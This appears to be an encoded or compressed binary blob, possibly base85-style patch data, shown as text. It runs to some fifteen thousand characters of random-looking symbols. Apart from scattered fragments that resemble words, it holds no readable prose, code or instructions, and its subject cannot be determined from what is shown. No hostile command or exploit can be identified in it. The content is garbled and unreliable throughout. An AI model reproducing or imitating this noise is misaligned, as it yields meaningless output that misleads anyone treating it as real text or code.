z#?+Sz(hmXW64J`K;{g_eb?LYaRC{`ywH zTGNzaE@cjdCCkGmvngD`T#986hv1P#bAffFw)v-MHmLsLb1ej3MsYjlgFVw) zQc#JZKyylRHeuL>O+ZIgkaHfOqViPTNy+ zFg5L6W9c}+(jB~^zeb+=4!yo?pTI-FEF~beL#NeX1Af|W;}0c-he$j0m&gW+YEXU# z&@9;4PSsMhab>bfQC7|0`I4H3{*_9V`VNoW8-=k0ChxN$!Xx+VO*LPphDUxBo_qio zaeay9cKk6Zvc8mpnAhzMPySdxZVX!sM;spc33T&CYIyRe`r+`{&+u9kL8zr43XlEV z{+b+N+!u(bXbz7&7@pi19{Z(Mu^jHg=aZ*J1`ppL3lSosJb(Q zMuRiehBX@^BOY>TS;4|CJ9%IL}LXkoVfxdfQRe+KvU&Zy|3 zDzx=tB}4aGWnWQA5mb^W8qFS}K_xSxlEg&+Rbq>vlKY^NM0GwVu`{3&++Ws)^4}C? zP@f5r6DhNlX_ZA#$$d~sBISQ5%23G|s3cM5e=5pQ$;_^8DL=0$qqA^dMqA1(*DwKG zi#z7bwv_*+C}X&Krl&3C7ZqjPR(apqZ7Hu(l+l$Nlhu|oT?zDjE-0VdmU5+{jNbZv z*=;GmEV1LTA!z1#I0RbE7WdsR5~EIEjacPHSP-x^7TvkpL^C*na;R12n=?={aA-=^ zABh{Kb-?A^t*2Kj31JBnU{rjUqCVdw<+X9e$lp&)2ms&4iM7XL3o=84uueZ5I=Ue9fUJ#kMH`QE533)6&h@H z)*%q)O8dY)^zX!>qR}_7evFvq;%ecoZU8|eQ@%XjmGrjOCc z*;IJam2}Y7=MZsd3IT&7NceLI5xE!*3M+XENN}C6bsOG@L;`Zx4o2VQ@*TR$h5rLT z`zrQMM%V)Yi2D{*2c@zSAs*(W;VD@tKCBP>znN{qvC)Y8Xf!JdTsr4OKH`qvBH{MHPWu5JkKqNafycaY*Z_Ju0HXmP@O8F{VA{ zSA`%g^qv`q^d_}OML>JDA|4kc^q$z;x5fbps_u>avo=gp>OU)vKQ?BwqUVl~yG(MwP;hrgi*Dkd}G5C@yLp z?@^Of3Nl*cir(l(O;RZ{1gYHHJq~FTHA$sFleSXC9NDFmj2>zuWyK-YMemNQk10aT zQ4~QR<=%7SkWO1nmI=~AYz=Qw#A%DkF9m6t+<_R? z-f4?TKO3n>9H-M3lkZEF#q-4cD5ujFlg&0#&p4#h7L!K>sa&dnD5ujFlPQ9<(97%1 zqe!PMCcSK=3*wMYTQt5wc>)La7_4a%RR#3aji^k2gAJlqGDD7svQsZ|_=Q;!=(M@_L2yaQUryNJ*# zS9v$#lgG@};mOYT*V@a+j%>mdwjzY77acnr5?BfYZ0`Mxr9z z%8ns^sciG6BL*HkvIv3nbX#mDoAJar|5iTAy>IX_khiGR9ANkR<@bQZWm4Qfl7V-* zQidGIks#LSjsz!j{N5v*IGc{LiK7ypjuByng{?$VG1(%9RmJ5tS9u!|V{L@06YD7^ zm9*2KKdGm3Sr0}pcS&V67MJK1qzK8Z-<*O}74k+%IYBDa$jPo;>Ua-mQRg4v8M~M8 zRZ!&U#Jk$dd$5pc1Y0Sr;crM_K;KL`e;y@X3dw~EcFK)#uy&!G?@~aZp9^&4M{cj( z&=w%|ZCb@S7{kSA47&M&!G`R_L|sqCkSCGnQO{@_d~ic+Jqd3NTzw4v+nKByHFn#8 zRpB|nq2KBoR~}-13(oFQRq4JQt83_sKSCKGk}nP^<{{x$f3J{U5u~Ws|EC}=^Y)8F zin*X#t!j}%l50YdSE|zejUX-b_K!n~mGRwLmB^)4g@hApYN*2+X(J7YLyEaoR7xV3 zR`sMH%>fdsop;xkNjNg<vCiF^nD##IeJiDJBmiW=2*RFQ1_%#Z1k8L+{|7!<{bRRCyQNxBjh z`CDMHN%|Z5Qcied-5`)ZQRP;0h~CBUV;-7*^cR4O1hLi{K7yv3=pNVxX0bbnT$M6? zEr3FesgV~kl!`Lr{vMR^OvNQ@;wXCZ8~Vk=S_=Kf!;EML=2rCH$PqYJ5 z3>ajYtJQp=44>1?rv>8t098M2DD$|2+o&R3K^q^M044N>8dC96; z|2nig8RLCr5%LJFPcmIx&EvofVQ+YmEL0u2G-x(H*X5EcN*uU)z%9dqQ>&&g zBR6muwo3`B=2bryk=9Zs6mUneH1E{DbPl2COg2CrAv+-7{{iE%C9OgjEn<{{D6BOM^z282*k(n@MZD}SE} zXiC<~Cqi|hCg*GP16BONxz6}Cq=5i^Nxk_j>rIS-{0U}iy?snM0*(~hoULpcP9}4b z)$65{P03`f2g*uDAfMugfUF22FfxikNQ{R)DZ^3+TuHy@OSlI!SgV|d!LWOiktsGa>*PqeN}vl%ie2N8!0}G=T8wheYn^`oV5Be>5B;=>hu&iG zs8-v=V<}54KBb*_44%f~F=pNdAIni<@yPo&@fcgRE3=)7fN+A*zGZvbOASC!c7i_sQG-{)pLTE;Vr@P(5W z*LtVoh2xnXZP8=sJ3v7ka8Uc*S}?Y(gVeD*tjvtC~bIjPR03JJl+TI&Lo*X3v|YNN++D|RN$5UF`YpbBcoYP zG!ZG-U@rNq2!f9EGbwa*|4qd)d|MBH5BhtXIG6t0M*+vIuAuu7D z%jyek?d8{_xKhsoZw>H}MeG0zP0)flxvb@+H$#N~0Jf2BNPpU7FIO$Qq{WH%FC_;w zU2g&dBsh+R93bnu2y8KB+B;i``@T!rq$QZ~))KACh} zn7j+Xgcz|FdaU1o?%O{UhPoG&gBKL*5EKIPG6r%p_(c_lr;CA1-t;S>G@fN+tr!Wl z=29)Gqwt0$qlOF_5L%`g*zJO&K-0(iF=UBc1uS!wHy@@*TOsvmJty{p%IrLp3WVn{ zT&wKFLl$HGpIDa_3AVee(g}?wSZ-yp@{oq1m>$r~O5`l}q5KmxLf<=C$n0Q zaR-5;#BPR`;H&#b*_{@3h_EZ}|HB1L6%2p>Q>me~c<&Zb4aNPr-ytg4Y4xxiNRp<7 zJee}`fr-&S%1J(y{th{6YxUX4CB$KfRFQ!wDNWGQfSUB)D~>R`|3jc^r|;KkD_%5 zOBQc{AcwWYkK>X0{{(+!GhOPDsvd6j$WRZDdSt0bwtD2KhgUsv)gwGY;?z4q(M*Fl9_FQp!q>ZdT9sT0^0bSGedy zq3|t|2|RO5AyJ?pZgFu#L0+Q6qH}B#k?Ij@83yai&}Vr7Z`nqgi<$?!)o;#)FV|r-0G2`9v=0`Qjcu)$Wafk zdgQ7{o_h3Ej{)kDuO0<_Pzm#G?^X!0qKer+T&b2CVc93#8wiVvngmf%^Z0rE-d?~U z`F^ePI){06bGSS1i+P1sJQQ1BwelLg;R4{hxFPKZZb-X|7sL$31u?2VzZhq62eNoc z46c?K>-<+z_!_n!dxu>^WYe12~nY&!%Li+d-9 zi-(};S=t*5-G`u!>F@1A6dIGoy;Bf{R%2;z>}DK-=AplLXGC?ztuiDRd;w|AjqZ3r zvn)@V57t_EeYEEg$;&TOpGHbqBJq&n@%yhpbjx<*So>`?O%s~TfNil5a*H(=xO!rR zFOX-tx`&zyXAKA)V*#9XB`VJxfJ!Aozj_5|J70YYoM3AtMRbs&bwi#UbHJlfa7bhg zhqX4o$@Y?tLb8Oll@xTl*s$8Lz9MR0yHa7*w}~!dl(t-{b}yYbx7E3%w-(Fv|rC zNuuWx;qPGyT%v+0Q=S)vQ5r_fNK1pcgGni=5Ad3+u&)Mh%mNfw6Z4|@wEn@f^s)H~ z@2g+mzI{8gpZ-^x#C&2O)RBEP2VJma=-3mLaSoO%H{Inc{Ymun$_}}-SV0f zeYGtO@>+M$!oZSeHDIAEBe?jH&-@m>TB=zl66So4dEf|vqWyO(zg{TT0Zm3_rd z#9Yi6xz7pe;VwRz$f(D}4c}?hk_WIIH!_uD;fj`G(pROV?|A1cY@~oizvjNh=d$YV z#}8*;*SYvcA@uh{0W9v9+}D3@5<*xA`>_D_OF@VWAt;3Yekg#&{W>G06GBi3(?Z8G zgMYEJ5PNwbj}$hM6>7K{mb;n)4n-G$DXI7g4HM%{gR$=t0kbcqa@b4o;EF7dRxy*7 zp)Bf_{$gLjLQFsbR7$pt4geoZr~K!zIhW>#e^dHx`4D%W&%Ju{zYZ9_N%+20tb>OO{p#4V)Qqk;3vk^0#k8&kP|1AObpc`=QcME#1Yk|r=FoT`;riG2?Cro zN7f@DdjlS(%Y$@p#-j}9YH1E%jbJ9@yp#?4wq966+r{@5R&5{5@V!TQebs}%o}?|Q zo?<5xm8sa97X)>*C?ZSSYC^YyMEw%jkR&RM^mWjChbXRwzhGZ+E2pP437oLu;?H4 zI<3-ylRzu$1K2n+3TN2!V{`BtJ@YBi@!6~S3}-%#-_QmZ>?dX*$;v?TewcxbfH4JY z6DelO#U4_raxd+ln7Z08Pb^5j8oOAj5)~(0LV0RU-ah~GKb6ld^3m`7 zzan1?`TtzLA(OP1*S8p0`x^U?JdhAnf<*nnf1t0QPEt9d*ZJ2vLUO3vOchxv}}wL%9Q} zb_-X!anbK43&Hp;(<}QqRHyVKpPF#J!e?;9Smq(k@fxKYOw!C?+s$@LFV~>kQ2Qh9 zN(3lDLU(>sw(OdqdKMNPWVH&%Tl*=)F=f;)ZE7d6eTl5vwyfZgL$gJQ?N2;8(^y9g zYONYIUx9H^gUTO@_fMX8(7n;IaIqRNz8c6;@6{9-#Q9Ai0rWY>m!M!2oB zFCTgOC?_(zBGGZ>q8qQ1fh*$sUuPY4hn|8V3ucc}D6InQ!xL+(!tr+1^XGjhZ|A$p zkYO{lZ0kqi*}?1IU_P+^vBc{~j^6pE()Um)tj?BgUo+{el>Pv;D9!lEmN88T>02dh zIGDPL2<8id=x4FJZ9Cs>*_P?&{3Nn_f71UVaKZ%w6MW zBKle$)E1YBH@?)HlUKiK-WlG3Oe!z)Zs2Ldp^48U^M;ElxBL%pDz)AEHq0%gAL}kR zNR4$}I9*6&|H)D=tQ=o@+iGS?M$F@zl=BRe6M4I}RhVlZ@HC;CGPwQTKKfqceXbf1 zpo5VuiCi$68Z1|&neMIVy}oGs?_?N1D`=KgI%Y8SGRMxFa$pIQ_6#gQ4Rua(w`;2+@q zpa%WW^`hItZDN}Hm_*Ivn5CUC4Dq zD?+6~Fn#;ZYM8(zDoW-sFxFdDSvIzV|Jno~lV6HO@ zaxpT1s!>LM=|ARoT=+Xa{52g&))*{NR8S7b(TDZRKySO4$^k>H`RV~;+(Cl6oK|g& z;13>|$G3Cm6o60~Il6yJ(aJ+b$B}QJ68-_xRl;I`=$sYe@DtyprZee6vrFkw@l1LW z|Eu_44Vn_r80xr#t@e0H+fdch%K%OC4AAt{Jt)9IClrQF^A2{mcw?p|-b6YVOjJ{C z^v2AhKz?)Ip_#p(H;B?WJkKfZ+SDkO0{+q{5;MRnFv@FFya9K8g&HJZWKJ%v;0-D6 zVBvoi|Em$fvdVUr&7;o_(#p>q=V5ftNg7zX+$&=4nJS>vt<8?hUsk62o&=Yv0x#DP zCkGgUdYIyds7M^ihhq^>zI^A#DaVbvJvV#m6|GHTv}LYBsr%HvvC=_Eb1?^WICu|b=H)5~3uBX%gjJr7~5snvBj$sDg_4@Vtx^A!>?Jt6SM^-hc@}3ZD;NMwgPn-gl2eae9 z^ycMw*TuZEG{KOUk&zs|AA2fkOUa?YQR3LODlE5zy@#}W@Hg1tot3B8m^L4ilji?6Y(~Mto zLeu^3q2eX>L_GNC7$Jdg zq={uYKLF=&x-Ia7ss9{xRimV!!NpHdCw$`=1$Et_@JWfG_htwmGzgEOfiV_*>ViavTA*Vkt(OYLmqj?tJI;Sd4~et4Esf4@E2v-OuAldir$zT+A2;``;+KKg~rB$ zQS}d#H?@>MAxEh7oS>f?9qkQdiKrASXnqZ>K3iIX$9czSe_Z($@sc7_3uG$Ik>e#c zLnK7Rn58R#f=4JNb&9kQ<0R+`NgPUr4Np~z4^IZ*d`7I`MG$m5==8Xuox5V<@s8KFiye-z&YwvY`$rWIp+JUqs%w(GtBq- z1Jm%A2>nH3Ob!%)xx0iCmF|MxKdV~Fz0>l`Z0XmKoLHOBG&Svy!FLZZOZX_iGWVqh zZZAd@j#XdpM!{Kn)$pcMwItFB_>vzIgo=y<S+(+OO0NnKTI8 z#ii0o!N_O8`D7ZW#f8#7o@k9q?|4fMT>Y!H2eFW^qNh5^o%}RiPvd(9+UKk;AoNQm z4m3&a*V!-hYZ(`37I{PKcf@Dluhf8~e|7U>5hsZa9l<{k^XJ9f-Av>UOI@nU(LY!$ zWGfD{;iT>uO9UlVQ*LY*A}+flJ0hW87#w#Ws78QEyW740so#MG22geOW9OnhAOAC? zpt5oj9nr_7PHQtbXN`Z(NUNHP?gvP4>JXaciX!iZY-umq9#mKi|L!T~x=5$~az5s- zRr}aU&QkM^cW?er5m_|xDAc)r2dv{4LlS`vR;>ji?Fxu*8IKonnXQLdX4LEg!(!L6 zH}J^rFYay;0|8SPKMkf826Ds-gV0Gn0HUTlsYlBACvWX$5{vX=QiS{AQg28XEiU~H zu%fz7g`*nOP>cQn&f@Ap7^knsOBzcxkTu5-^A{Lsp+JuWM_gbm&1E4HWgLAHE+h(R z4Jrv$w$46;+NlI}0}_HY0$5>MEHy<6Z-uE4lrICysXq%nk$Men5hL~{h1-WRNhs- z!~LXu109~L@w}QPk;)w zpb-Zi51mU*bF>fej;w#xUa9ThU~HTpQj1FF6}A6@+$!-t`Vk({#5P)L4MkTalJ&{! zhDD;7w&vTPc}OMzyxtZ8$h0W;EHz)-JTxWF|p{#~_ z!_Wtd3_~BZe0|XHb@GD)Q~yVI<8@++&2a8*fvHs;7^N&MVbd2T-ki$MSh}|M=@c2_ z4&QM#^OCx|0D5;S;!%N7pk?bK@>a~H9k0dwQMM8iW{5Sgce-gIY^~^P-Xy!GIK6Ts zx9irCa09DVJlHZRR=M$p1I!zu`pPz6n*Zu6$9&06qOUyj6*FI}*diA3C*@oF+#68& zG)=VAecC%G=1+;5uQ&9S&D|wEUpZVi(({$)Pl@$><@-~zdcF$%DgAoBiu@@D^n8{0 zQ?k=viS_*xYf2M)rt)?btpKlvPmQ07**iVTpBYk>W3FZomYOY-nGk|A)E`rV{7sMU zX^Z`lT0|O>Me3KS%`^%KDyG)1MiOT9M&f4FKE~i)2ejq{yI={)6%w3^sm@)}?0gT` z_i(|AHTzu{ZjBgH;m)=9mQW{TIvff!xNjS@fjIHZ3jDi5>ve+e5c zgGQ;H}@TUiq zT1D+UDo#P2Gj<(9X4xj-G(*<+THuJB8O=_^U>FL|%g{z+F^vQkeI+z&{HmASq$!rY zzq-q4Y3X9py#r`l;q0aWq7D&Go6bZQOiH9D$drk=Q)B-9;)C96eVkuS_O_G4B}Gnh z84zp{w)+>pg<&Ql!oeIv%#^aimVBp>$c^wEzhQB`$|5r2-rvcOfB$y+iEH4)(G}A| zHXY-x!T6-bm?><37B)*VLz3!DRt8rZXl{mOHZ#)tV_S8!1PDvt! z`l>+pKzBmyOH09yz0t%>Aiq{^dBt71j9L`@vy2_R~*+_;MUUw#AVp9G08# zHqEt|`)2{TPrT3H`K?kCZss^cjA##4R?3* zSfheX)HV|QDEva8hX=Rzd{hLp^bzOka690`vN|%z@_}$;Dl^#2=yl?y>#SbGM8f!StuuL?L!zvk9IyZFz(^-UiVw6XT zNuS8oEK{itb(joCW&$eC%nEdKGj z9fb9h*gfU8t9f(lt{cu|Lub5nCVFrd7~|T)@edy4 zvQ4^<3-C>os%3&l(_ctXB=`+qDR!0_|3EzM?rLwv$V=?uRTI6>tLwd3rHRkHdS>Y? zm3;Nw(wU+Vd~pm4cBFimsn@tFUM6N-TR+vI?W~x78nl0@bXLP z$0XKdLhHCx6gV$Z890fv3AyW1+6(~`YZs;mmH4TWG8fhV%u&b@-Vzrnm@<%Xac@6? zW;_i@8e@mp8_dc#i)`3q1U zWIk;KeDdR(FtXS?uqs-cWhRRh$0BqG%rWPVsLdtH$V@&MpgLoIss5)yP3mv79jMig zJyQ;i4@(NT7E(I2~G)yq?bP|{-xk2#h2MGCL=zx9J zN2d@rHC!O?)n3?2 zR4i3L6>N`7GECX(xq^fRHQlX>oU47L+vrC9$-o(mj;OO_P3k$=Z`Mz@(@b=%tVDWo zQeFnL2OKo9+rUrrmSi8E9i$57ZYwBZ@xyF#T7SEu@!iZY}?(gHxcfaoM6U_Gk-QQ(=CtCXZ6PTFxPwc7=6Y8hK z5phEG>0K4}vjj((suWKntFtoq+vca>JLV_rN`BTSwC#ne6;Icfx#bJBnfqORne9R- z(}Jt?Wp)uU{mc4ZcRqHd70>9-$KI3NtGn~DKds=J?tEN8n{{n>K4>YP*`1FGV($05 z^KnmC!FApF4kX_Xy7T2&0&^{82U(KXSYJG!N;DLIo4???-TV~So1cP&`N>N1(~$ce z^O1XpK8nAqzXezF_gB*u%)N@gZCR2NBW;os>(X`CG$xNfG<#$w@$ONN87?bd%_A)beLn!LLt{H1gE(Z67>dBH7DYMvTgJ zH`)T&UBW^-5Aoa>G0x=d;D2dortmzXQ2!$my5af-|mY$D?XmI z8T-ZCFV4fn!MN@;Cfazt>Q))z;)V8oWT!rZO4(MHdTu`;u{-L%9(Vj3c>LN_FL1H= z)|((g5NlGEama`3E65k6ybA~~adUW&1;(6KVqTD$$a%O`Y`!xaQ_}l&v>3srlHkua z%Rt^mF{V|dQ32C{A^y7ECGl;5Cjpl|#;)iU#{-Dh+?)r#$o)IJ54eJio>{pu z{w*)}1%;k=lA14!$O`z1Uo#@>eSYl@o5o0i~%R0RKw7+$;XH7xstK@Y@aiGOzfbg1y}GReYWnGoDP&AWwN8#yLVo{h|O`+3(Y(!DOnyET$n&%=!56#4^& z>tOfL{bf2U<_!nk7v#)zyVHgCyoh^#Hrs^~t$FT6`QE9C^}P5P7IKJtQOwJLh+ASV zYqKZw#JhJcwaBOBi}Ji%auTiihTalOl%7u)!h`h0Di5b+=n=JBvfX+4%A3bit7LG` zFA@_=@L;AaDOaw3%#{xk{$?G19bxq(eQxDTcSdm%Ce zo^omriH3ktB7#=E+|zTO!P%2U#0iN<5oAJ=WS^-$#V|8hTs?6Yjt^BryvwWMaIvs|R=8I&~C z%UxTYhfPYlW+u72Y0|N0DHEH=)nF!0IlauCVIybme8beoyRMTNWG|68zccY+w5RFM z>hv#;N;=Ze{sr8;n{Iux@I@yTed+*hS!?P26BZ4~);dL7*3*3bXaT!uvi?eFi3v#^ z-e*Emhkr1k&4gM_NDAd|CM31?mI+C@d~QNgO^5lyCk^&Z6Oz99jtNOs{ltVi2)$`S zorJa%@{0Vr>shR5iF&u^&tqlso;?00*5spZ-!|1)#6%;8Qp{$lFjb9zpznTnuV9+& zmu=bfQ4?IAgFfq7uiYmdWCtd)1jIcaH%1y2;_k>?la2RD3rs|YMU(z+R3RSEB*k28 zrEJ##Emve~pZO85*b1Q`#fx%}R)!blehqgNXGF-SEMZx8m`e;%6oywgOj&wzO?i2| zYdb!s@-Bo&d4?p{B=xSJDbHreaHHNRbh>*+Hoq$Hj2tpra>JZ`>9zF@^OH3SBY82k~TfZp1BTVn6FV8ey|8B;2%fA@MOPSlU6E}B6EPnr- zj=17ZjWAHU(cbm7f708gviEYS5p7xu5|5v0h{fhK^ zzass&o_{9*c>FG{!V5&c5^Hhoav^xph)9u65S z)^^Wlvhmw^#ilzT=v>O>o!jBs?`JqDMNb&vj^0a}_nP0>tjabaoy{0@BispyTem*g znMW5#Kc(xtv#{5LGSqyo}m`pCg}Y{9y0M%1>(FW7@nnPm`Xht(Bj|KkEMI zJ09VnEZ@{PlTOmUT=Nxo-No+9nzd=(ozobZZ#FQQWyry{fMH(j-Wbt%{jnR~^4RG5 zk^5Qj9VR{$f0CUn_DA+=p$C=(B636IyC32FO1-TTEZa@WJ0(z@X%#AgPVXX0!JJNa9E zyP-JSe8Daia&13Q9hlg4jJu}xP)nfFxv6A(Vr?nY&Z`#HoyNVHXw(t{wf*Whxa;F@ zxi7ifd#1z|(r&$&_iyIeCpfFN$4jdw#|PWUt4(D5cl&1QLDK$$g&hej+1uBp?GwBI zb|!QGszJDo3vnptv#D+%-aE4k#7VxzdL3WYuz#Pe-{>PYuyW?CY7m)Dwi|4#uHeQP zswvOvz^W0>;+oP6hHuo*d3AG3FJMXK52O-2kKl3xIIi^ML~3Z=uKv!Qr$dU620y`b zVdwQeCw7TtsaQWGjt#PS;g~%zauz^Z6#8o9u&UpLq>gp!FV$?=bjz^Bu|${>;|K9` z@*s|!3gpH}up7rXYwKXD-$CYlCn`KvFhubIx0;+JOc@vW}>NhzJ z*B(F=yUN|R#Cw@uvAheRHvu?5{?H63xd77q!9Ve0zc==9)$g-0i=zqr?RdaMaU4qz zs}gj{+f~9v9f^O(5+G&2i_`D}q7q%v_}D}juk9?vPvTdB>?w=vsV_k`Y+q!@5cQSW z{hOf0-Q^@dg>rgAl_@-JYQ z_WeSt?5ZHT%s)%mI9lN}B)<|(CeKd^Pj>uraAfByVHr|`m0S)f!2%h!*SW!tfz%m7q>xE%(gp>T14GtU>$L%|=bl`A= z*h!j~5shGis{Su{t+dcEkR^hu;p!pk1vpOYe@;b>Kw9abD%A%fFKJ&Gtk(8}I^+)@ zsg6UB9g(XEmy?`9f8<$s#Eh+-xn8lRb&bX!RT#RWz&kKfo6k;kN%aQ3x1taWPGq0%f$GxpCqd4O^bW6 zdLsb)mF)-ArT3C;_Zx61brg`nufSfT3WCla$lfSxLBVwegE${+2rR zjgs`qaB7qIW%u5d)!i1wUR#5}v%Soz|Cny5rmZRe0A5vqN80fcN{OHf&u^bb3Fk-R zW4yoQXeP{P;71t^z}H#X?6!RJfZJMoB3-Kjfjxp+Rrpma>C*<7QD_>#m901GnB66; zF;#fJCe(>_Iu&(^b|7AvupPhl=Lkm)t^8X1Vt1tEAay1@oex*Kpv74@NR@$WEn5e+ zbV#q)h(@<&#SB)t8T6`Bx&(`Oy(6YyiEt#Bj4sE}6h zb5{EmzR=O1?ue+KY?5%2zW{?Io-NE?%~G{Y!yH8ok<{+sr7-e(hE}>>i9d5OI`RYn z{8(Mf)(pQvn3xYGK4bIFe~7Q&RQolrPO&3QDb51DVnC%z5;tW>y|eSID&4{0B~|Kp zXLhg(n)o2*PtYoGgJ_0{RqpetWt|n$zg~*(_|kJDuc{ zDiz!YF{GOfPFfG_O}H%xA<0Qs;m@|rgG`yW8X0q^^R;(*o6_acpc7TbJZ6L)qW@xB zTU}9BH>GRj|7(^AfGcjl9N85}-lAp2FE z{GyPW)Btrgu_z?hS$H1k+8@Rf|JlD-#TXMMw4KoUF`1EuF&U|kY~QT#i&lD7_Zlf? z0s5XjyLA1fbLTUNBt`PR%$XU%aPoOM2B_{PI#vBcO65R_vnn$DM zS?D06sUfNo0-Cx~!il9q2jwJCFy=op4V|POBJ*Zs`_^9Y3gr7@6SJ&_)H?R3xWm*x zB;vG4B=s>kEr-O|)Qjo{Mj4`ExmZZMS4J8=%NdymRbqi0UEUC*Y$tW57AuZDn07UY z!&N&sCYm#rOV_5FDNgqNMQ+Ok_a#=CFlDpa2QG5Aq*oEL5D)ho%&*xIaee15meXqA zVtqwRE4};+GM3Gn8}@i@to?ZR6D)G?6bxa;XK9SGLowcuEjmt2X zy>0J1k~pH4begy<$cDwv$}-MS1g8=gKRvC{>&Ma2-GG&xSF3KRosI@OB;q8iVTXc@ zd3wfz8kaTQN`b*Lngc=}R?`ui<8BTlC24Cap5MJ*7mh#Q%6T@xd^1-=L%2Ah!=FOzT03o_r~fal#8f^shg3xgDOk z`jb>b?sTSvGO6ze#49lU42$U_K*NQ(rV)gLXW^O+MY-#to3P~npdwPY^Czf;x?nmL zOE-_Z#;Kn{ia)DM{ORH(X@o)=#fC%>^NSX_#R{KPoX6k!yJ1?1vrtDIo32oimr!JI zEPveAl-6{EmnqqOg{dT|5x1pjkf7F3B4_*TMTp2t{YHxHVM(fmPuqj)Uqvq^Ivl5d zlN1!a#exZ2s#Q_NQYnpc-?JgqWf>sbHBqS!itk+g(BAUfD*g>I{KHb33i*~n%V2~J zz4V5V&Va)Zttn@);uk$!UakbU#Vy2q9H~OB`8eEaHrsvuNwLH_O^HxaM&UWhwJ5|? z9^|Gq7*Dfl?I9e=4-3~VQ;k9|*ZRv0!gaf5TNUe#6v619LNqwDEFG|QU$Nv~3}zHb zrQ2S&d$v=5r^*nL@=d{$)(pvahbY3DfZYtFD@0Pali5vCj+4v)XK>Pq>U%Q$DoaBMS;_E03e;n{E*YM-fspr@+#q z1DA@vZfm?zD>Jq=X+^WX97{Ekp-INKZFPlGyUEsRA87hhcfSay#nQQdQ7<=hNzDIT zZ;0^PRw_%QeGMAjVPa}qmUsi&Nb0x9i)kL$uv==3h7YUi6&MMd9di#$v}K3QVwSQE zw}bKAAB7E(?+z2b?&1$L1vA_hx>4I+vtL6J-lPiRJG$ey%E++b^5g;f5SfGVj1QKZ z$#p=cUIvEos22}55EFLwl;2TS{XBiiFH)SwM+6` z7?>8S4A86oGR;#QdGFQn`iWKNklvI_$daT`YC3T}{ga7(Bz5dwQ3ok1kEoFF_8)5$ z{_}r!b@_9%B9)&ziFLGqvuaG2yKUztzv5JXDjVAm2+sUxR~Lu5@6hQG?M;`4XKybu-FE62c8Xl7Tj(FyMmi+paUOg@O{FS z?X&-w`n&Y4)?2zer;+o2VFvX?$rG2_B+ICK{pjNIW?f;V>mJL3lclyWi!tg-+p=Ql zL^9AmQqu~#X0Oun2ia@Hne{NT{MFPiNn`6yV$W^s6L!eF>q$jTVcYO+>+cAoWaNkG z?8+g%s^}fn&qR&u9d$ssy(T%GSS2rpBn6u7JQ}-n2Rm*6wJ4vn_`~T00St;Ok$3 z)$nGa-T@CXzXGe_*}}gHbn{1FPOIVN!W9Djy+Fl*FQ7He<9eOQZj`imxssH&EGb1= z7RgB~#^uIlH-=DKmbAT1)*d+<()KVL(r}?rSApcLycyT?qn{#|X>EK(+6Ji|lUDq- zBdu;m6^vugn`aHKoYLhYDyUSH$t_QU4YWs>i&W>X)95#$No-7Z<0)s{i&12H3~b_@ zLAz`B|5Y2)CYe(TnDCFv)s5Gdv@?zn);03#tR%LPW@5HFv=l6eHje2nxTW8>p>kl6@9vO z?;P(V8|{CEphBf{c2NB3#-~Fc?SBxt?ag-9W%;W+;z}u~Bv=3hQ?~)E*o6xX>|8Jm z&yKf)OnaNlV79Ze-2I39F|0na{d{*jKK4FU-p=V$F5=&(%0D+9!sPIZe!)_Ts+{ee zRQ~}EhV0sc%gdKG^0mE1mwqt}YIX$G1RSDS_IJzdBKE;|4MVb5gf;{?0`6j5(^v37d-KvZ1{!??yUHqHmXRcaR)jvL*at!^!3IE>J z72V96*_E$c&x5zs+Lw3|5GUC7T|X)sQN7tBYS+KR^X|1P!&rACSMzP<7@77DCbmUE z^Q^OSK;5pAcoq||+Er}kj^Bb)BR+$BuNK9}Cpu#B%0x$2{1|TZTNFQtJkH7tN{vc~9hr48h6fBf#A$VYADXa4xl zdLn;Cq(2_bQN63G#7Rz~TvgH|I;EG^E&u1gKdu^`u(Y&_AFo&{jDvCG`RKWEVK`ry z(JajPa4#^DB{RipN`1hG@vL^aO>&6IEIg z4Zef4hW9VVH&h)PUsp9E-crRB`(wb2u2vpR^1ZP+n)v>RpvYj}*}Y8Zvs9E`QFQSc z5AgvXX1Jv5McA^4_vfq}_T|VMetmJ+vJ=J#8Weu}A=$)fLHY_s3HRV-(U z755nHFRJ!)l(qaJ8X)xt+DMd)1WKiT@}AB0o^ru&K_|#X&n)qZb?1bjPq+d0$?ao~ z@n;90x9{o-2E&_FTZr$95Z`ixFTP?u{5mTd4A;yBl#gg&9I49nVuLob^ZJFDyW9+L zt?uyE`6>#+j)G+4FzOT^jP$gPHlwwi4UJ@N8=b@7NU8=B+(NPDR1p&^EdfRFho6%4 zsf{>75%((Mc_JW<<>27n-DIobev$3LPZWg80ix12!Mtulfhhy2$_lp7knAVLoi-e1 zl_}4SP%n+FW#xR%==150&Q3jyi1eze2oHX#+@o`hfS~5mr(_UBD4RzHjulRAoIe0|ck!9tobM^}BC^v4Ot(?fQOeO}<&3vYIWc z9JY@!?6q>h4!Q3t7+)sqN`IF%4M^|*vG9*CBi6&A6L;W?i0>-6geaFwb%i3m-Yon{ z;?bh>@>qR>TNcoiQ_w&XL+xkLc^{(Zx)a;q?3KSQ>q&02QW1@7?X7|%aYQJzsrDEz z_pb_xj4Xu&7L3^rthoXUO4u-&j=$g&cD(r8y+FFr23y83mfU-UGlNrn6R>UXdk86Atb>4dZT?AGR+N2%0hh6RKfMT_XH*T*op z%Q-sHVOT02Vco2^OdpROF=}XSrgufoj*RGIrz4^ae&^+JdcyRycz9+TC3GbxEo`QO z#o}jmSu~Ngm2z}NLVqsA8e_&c$}f{40V`z^1UZ+5*~~E}oaLBK2L%1-0r=AQf0V2E zQ{=(yj*ww;jyd67@2cynU~ia`4JFapvBa3{XuGG0V7Q;>VzxFXy!E318Zcbd`ErrydTDL_Cwdnd1e{!ZpE zCK9!6<;QX(T$Sk759(vbSsu{u2AU26hrdSkg5__sDv_lwBiyEE%V>_jl0MN|yD=C| zJ=!;f@3B7wSkL(XAYVwMk!uF}WGd9B1Cw|a!Rm*T! zmB&`jFaLlG6xrwR-=H@g^12FCv7K#e4q|>l zLh=mSul!Z6QY?fgd8TTrmf1ZMvK754p8B=Y^1XTb^E*H_($E4w&GF5_X(EOhp5Ao; z=u>+nz2Lk~GQZ+@2#B=%iZB}n%=(JCZ^cNc)d#8Hktf)M0NQUeKPoUInzS-^JJx>N z%QbpvL+z+WLjxUIES6XfdZp)mcMUO^4#L>CMDm^RV}?yh08lk zN|9UKX;Mnu+z7;Yqi|H{_p&lp9TYfcFnih+IBPKGO7?WB4;M;^Ni+|ILA*b;72nKJ z+Q@?O5vixQOFjvrQ>003D6MDk?2j~>kN0Y*37+X3`NCnV&9Hq;7jQ- 